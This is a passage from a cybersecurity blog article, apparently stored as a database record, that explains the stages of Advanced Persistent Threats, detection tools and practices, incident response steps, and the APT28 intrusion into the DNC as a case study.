**stealth**. Attackers work patiently to infiltrate systems, evade detection, and maintain long-term access. This makes them particularly dangerous for organizations reliant on intellectual property, financial systems, or confidential customer data.\n\n### A Perspective on Cost and Risk\n\nAPTs are expensive—not just for attackers but for their victims. According to the Ponemon Institute, the average cost of a data breach is now $4.45 million globally, and breaches involving complex APTs often result in even higher costs.\n\nUnderstanding the significance of these threats is the first step toward detection and protection.\n\n## Decoding the APT Lifecycle\n\nTo effectively identify APTs, professionals must first understand their lifecycle. The APT lifecycle generally consists of the following stages:\n\n1. **Reconnaissance**  \n   Attackers gather information about the target organization using open-source intelligence (OSINT), web-based research, and phishing techniques.\n\n2. **Initial Intrusion**  \n   Leveraging spear-phishing emails, zero-day vulnerabilities, or poorly secured credentials, attackers establish their initial entry point.\n\n3. **Lateral Movement**  \n   Once inside the network, attackers explore internal systems, escalate privileges, and establish backdoors to ensure continued access.\n\n4. **Data Exfiltration**  \n   During this phase, attackers identify and extract valuable data, often using encrypted channels to evade detection.\n\n5. **Persistence**  \n   Attackers install additional backdoors or maintain a dormant presence, waiting for the right moment to strike again.\n\nUnderstanding this lifecycle helps security professionals predict attacker behavior and pinpoint potential entry and action points.\n\n## Proactive Measures to Detect APTs\n\n### Establish a Comprehensive Security Framework\n\nOne of the best strategies for detecting APTs is a proactive posture. Consider implementing these foundational measures:\n\n- **Network Segmentation**  \n  Limit attacker mobility by breaking your network into isolated segments. Proper segmentation minimizes the damage caused during lateral movement.\n\n- **Behavioral Analysis**  \n  Regularly analyze user and system behavior to identify unusual patterns, such as unauthorized access attempts or unexpected file transfers.\n\n- **Threat Hunting**  \n  Deploy dedicated threat-hunting teams to actively search for indicators of compromise (IoCs) in your network before automated tools do.\n\n### Prioritize Frequent Security Audits\n\nPeriodic vulnerability assessments and penetration testing help identify weak links that could facilitate an APT attack. Regularly updating software and applying patches for known vulnerabilities also decreases entry points for attackers.\n\n## Tools and Technologies for APT Detection\n\nModern cybersecurity teams must leverage advanced tools and technologies to combat APTs. Here are some of the most effective solutions available:\n\n### 1. **Endpoint Detection and Response (EDR)**\n\nEDR tools like CrowdStrike and Carbon Black provide real-time monitoring and response capabilities across endpoints, ensuring early detection of malicious activities.\n\n### 2. **Network Traffic Analysis (NTA)**\n\nSolutions such as ExtraHop and Darktrace use AI and machine learning to monitor network traffic and identify anomalies indicative of APT activity.\n\n### 3. **Security Information and Event Management (SIEM)**\n\nSIEM platforms like Splunk and IBM QRadar aggregate and analyze data from networks, devices, and applications to spot compromise indicators.\n\n### 4. **Threat Intelligence Platforms**\n\nTools like Recorded Future and ThreatQuotient provide access to actionable threat intelligence regarding the latest APT tactics, techniques, and procedures (TTPs).\n\nBy integrating these technologies, organizations can detect suspicious behaviors earlier and respond more effectively.\n\n## Incident Response and Remediation Strategies\n\n### Build a Playbook for APT Incidents\n\nEvery security team should have a detailed incident response plan tailored to APT scenarios. Key steps include:\n\n1. **Containment**  \n   Isolate affected systems to prevent lateral movement and further compromise.\n\n2. **Eradication**  \n   Remove malicious files, unauthorized accounts, and backdoors from your network.\n\n3. **Recovery**  \n   Restore systems from secure backups and monitor closely to ensure attackers don’t return.\n\n4. **Post-Incident Review**  \n   Conduct a comprehensive review of the incident to identify gaps in your defenses and improve future response efforts.\n\n### Train and Empower Your Team\n\nContinuous training ensures your cybersecurity team is well-equipped to address modern threats. Focus on simulation exercises and tabletop drills to test incident readiness.\n\n## Case Studies: Real-World Examples of APT Detection\n\nLooking at real-world scenarios can provide valuable insights into APT detection and response.\n\n### 1. **APT28 and the DNC Hack**\n\nThe Russian-backed APT28 (Fancy Bear) used spear-phishing emails to infiltrate the Democratic National Committee (DNC) systems, highlighting the importance of vigilance against such sophisticated threats.', '', 'http://infoseclabs.io/uploads/1767838642945-921379380.png', 'Cybersecurity professional analyzing network data to detect APTs', 1, 'published', '2026-01-07 13:17:00', '2026-01-08 05:19:30', 'Information Security', 'Detect Advanced Persistent Threats in Cybersecurity', 'Learn how to identify and combat Advanced Persistent Threats (APTs) to protect your organization\'s sensitive data and systems.', 'Advanced Persistent Threats');
